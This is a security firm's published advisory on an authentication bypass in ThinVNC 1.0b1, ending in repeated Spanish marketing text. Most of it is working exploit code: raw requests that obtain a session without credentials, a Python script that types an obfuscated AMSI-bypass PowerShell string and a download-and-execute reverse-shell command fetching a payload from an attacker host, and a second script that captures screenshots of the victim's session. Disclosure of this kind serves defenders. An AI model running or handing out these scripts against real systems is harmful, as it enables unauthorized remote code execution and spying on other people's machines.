ThinVNC 1.0b1 - Authentication Bypass

10

Critical

Discovered by 

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

ThinVNC 1.0b1 - Authentication Bypass

Code name

State

Public

Release date

13 abr 2022

Affected product

ThinVNC

Affected version(s)

Version 1.0b1

Vulnerability name

Authentication Bypass

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVSS v3.1 base score

10.0

Exploit available

Yes

Description

ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via http://thin-vnc:8080/cmd?cmd=connect by obtaining a valid SID without any kind of authentication. It is possible to achieve code execution on the server by sending keyboard or mouse events to the server.

Proof of Concept

  1. Send the following request to the application in order to obtain a valid SID.

    GET /cmd?cmd=connect&destAddr=poc&id=0 HTTP/1.1
    Host: 172.16.28.140:8081
    Connection: close
    Accept-Encoding: gzip, deflate
    Accept: */*
    
    
  2. Obtain the SID from the server response and add it to the following request in order to validate the SID

    GET /cmd?cmd=start&mouseControl=true&kbdControl=true&quality=85&pixelFormat=0&monitor=0&id=[SID] HTTP/1.1
    Host: 172.16.28.140:8081
    Connection: close
    Accept-Encoding: gzip, deflate
    Accept: */*
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept-Language: en-US,en;q=0.5
    X-Requested-With: XMLHttpRequest
    Referer: http://172.16.28.140:8081/
    Cookie: SID=[SID]
  3. Now it is possible to send keystrokes or mouse moves to the server using the validated SID

Exploit

The following exploit can be used to obtain a reverse shell on the server running the ThinVNC application.

import requests
import time
import argparse


proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}

headers = {
 "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0",
 "Accept": "*/*",
 "Accept-Language": "en-US,en;q=0.5",
 "Accept-Encoding": "gzip, deflate",
 "X-Requested-With": "XMLHttpRequest",
 "Connection": "close",
}

def login_sid(base_url):
 url = base_url + "/cmd?cmd=connect&destAddr=poc&id=0"
 cookies = {"SID": ""}
 r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies)
 #r = requests.get(url, headers=headers, cookies=cookies)

 return r.json()['id']


def start_sid(base_url, sid):

 url = base_url + "/cmd?cmd=start&mouseControl=true&kbdControl=true&quality=85&pixelFormat=0&monitor=0&id=%s" % sid
 cookies = {"SID": "%s" % sid}
 r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies)
 #r = requests.get(url, headers=headers, cookies=cookies)
 time.sleep(2)


def send_ctrl_esc(base_url, sid):

 url = base_url + "/cmd?cmd=fkey&key=CtrlEsc&id=%s" % sid
 cookies = {"SID": "%s" % sid}
 requests.get(url, headers=headers, cookies=cookies, proxies=proxies)
 #requests.get(url, headers=headers, cookies=cookies)
 time.sleep(2)


def send_text(base_url, sid, text):

 url = base_url + "/cmd?id=%s&cmd=cli&type=clipboard&action=paste" % sid
 cookies = {"SID": "%s" % sid}
 data = text
 requests.post(url, headers=headers, cookies=cookies, proxies=proxies, data=data)
 #requests.post(url, headers=headers, cookies=cookies, data=data)
 time.sleep(2)

def send_enter(base_url, sid):

 url = base_url + "/cmd?cmd=keyb&key=13&char=0&action=down&id=%s" % sid
 cookies = {"SID": "%s" % sid}
 requests.get(url, headers=headers, cookies=cookies, proxies=proxies)
 #requests.get(url, headers=headers, cookies=cookies)
 time.sleep(2)



parser = argparse.ArgumentParser(description='ThinVNC exploit')

parser.add_argument('-s', '--server-ip', required=True, help='ThinVNC IP')
parser.add_argument('-p', '--server-port', required=True, help='ThinVNC PORT')

parser.add_argument('-r', '--reverse-ip', required=True, help='Reverse Shell IP')
parser.add_argument('-a', '--reverse-port', required=True, help='Reverse Shell PORT')

args = parser.parse_args()


url = 'http://%s:%s' % (args.server_ip,args.server_port)


print("[*] ThinVNC Auth Bypass to RCE exploit")
print

print("[+] Getting sid")
sid = login_sid(url)

print("[+] Initializing sid")
start_sid(url, sid)


print("[+] Sending Ctrl+Esc sid")
send_ctrl_esc(url, sid)

print("[+] Opening run")
send_text(url, sid, "run")
send_enter(url, sid)


print("[+] Sending Reverse Shell")

amsi_txt = """powershell.exe -exec bypass"""
send_text(url, sid, amsi_txt)
send_enter(url, sid)


# AMSI Bypass
amsi_txt = """S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )"""
send_text(url, sid, amsi_txt)
send_enter(url, sid)


# Reverse Shell
rev_shell_txt = "IEX((New-Object System.Net.WebClient).DownloadString('http://<attacker>:8002/rev.ps1'))"
send_text(url, sid, rev_shell_txt)
send_enter(url, sid)

The following code can be used to take screenshots of the VNC session.

import requests
import time
import argparse
import os
import urllib3
urllib3.disable_warnings()


proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

headers = {
 "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0",
 "Accept": "*/*",
 "Accept-Language": "en-US,en;q=0.5",
 "Accept-Encoding": "gzip, deflate",
 "X-Requested-With": "XMLHttpRequest",
 "Connection": "close",
 "Referer": "http://172.16.28.140:8081/"
}

def login_sid(base_url):
 url = base_url + "/cmd?cmd=connect&destAddr=poc&id=0"
 cookies = {"SID": ""}
 r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies, verify=False)
 #r = requests.get(url, headers=headers, cookies=cookies, verify=False)

 return r.json()['id']


def start_sid(base_url, sid):

 url = base_url + "/cmd?cmd=start&mouseControl=true&kbdControl=true&quality=85&pixelFormat=0&monitor=0&id=%s" % sid
 cookies = {"SID": "%s" % sid}
 r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies, verify=False)
 #r = requests.get(url, headers=headers, cookies=cookies, verify=False)
 time.sleep(1)


def send_ctrl_esc(base_url, sid):

 url = base_url + "/cmd?cmd=fkey&key=CtrlEsc&id=%s" % sid
 cookies = {"SID": "%s" % sid}
 requests.get(url, headers=headers, cookies=cookies, proxies=proxies, verify=False)
 #requests.get(url, headers=headers, cookies=cookies, verify=False)
 time.sleep(1)


def get_images(base_url, sid):

 os.system("rm images/*.jpg")

 x = 0

 url = base_url + "/json?id=%s" % sid
 cookies = {"SID": "%s" % sid}

 r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies, verify=False)
 #r = requests.get(url, headers=headers, cookies=cookies, verify=False)

 windows = r.json()['windows']


 for w in windows:

 if "imgs" in w:
 for img in w["imgs"]:
 x += 1

 str_image = img["img"].replace("data:image/jpeg;base64,","")

 name_txt = 'images/%s.txt' % str(x)

 name_png = 'images/%s.jpg' % str(x)

 f = open(name_txt,'w')
 f.write(str_image)
 f.close()

 try:
 os.system("cat %s | base64 -d > %s; rm %s" % (name_txt, name_png, name_txt))
                except:
                    print("[*] Error Decoding Images")


parser = argparse.ArgumentParser(description='ThinVNC exploit')

parser.add_argument('-s', '--server-ip', required=True, help='ThinVNC IP')
parser.add_argument('-p', '--server-port', required=True, help='ThinVNC PORT')
parser.add_argument('-k', '--ssl',required=True, help='ssl (true or false)')


args = parser.parse_args()

if (args.ssl.lower() == "true"):
    url = 'https://%s:%s' % (args.server_ip,args.server_port)
else:
    url = 'http://%s:%s' % (args.server_ip,args.server_port)


print("[*] ThinVNC Auth Bypass - VNC Session Images")
print

print("[+] Getting sid")
sid = login_sid(url)

print("[+] Initializing sid")
start_sid(url, sid)


get_images(url, sid)

Mitigation

By 2022-04-13 there is not a patch resolving the issue.

References

Timeline

IA generativa

5 abr 2022

Vendor contacted

5 abr 2022

Public disclosure

13 abr 2022

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Inicia tu prueba gratuita de 21 días

Descubre los beneficios de nuestra solución Hacking Continuo, de la que ya disfrutan empresas de todos los tamaños.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

SOC 2 Type II

SOC 3

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.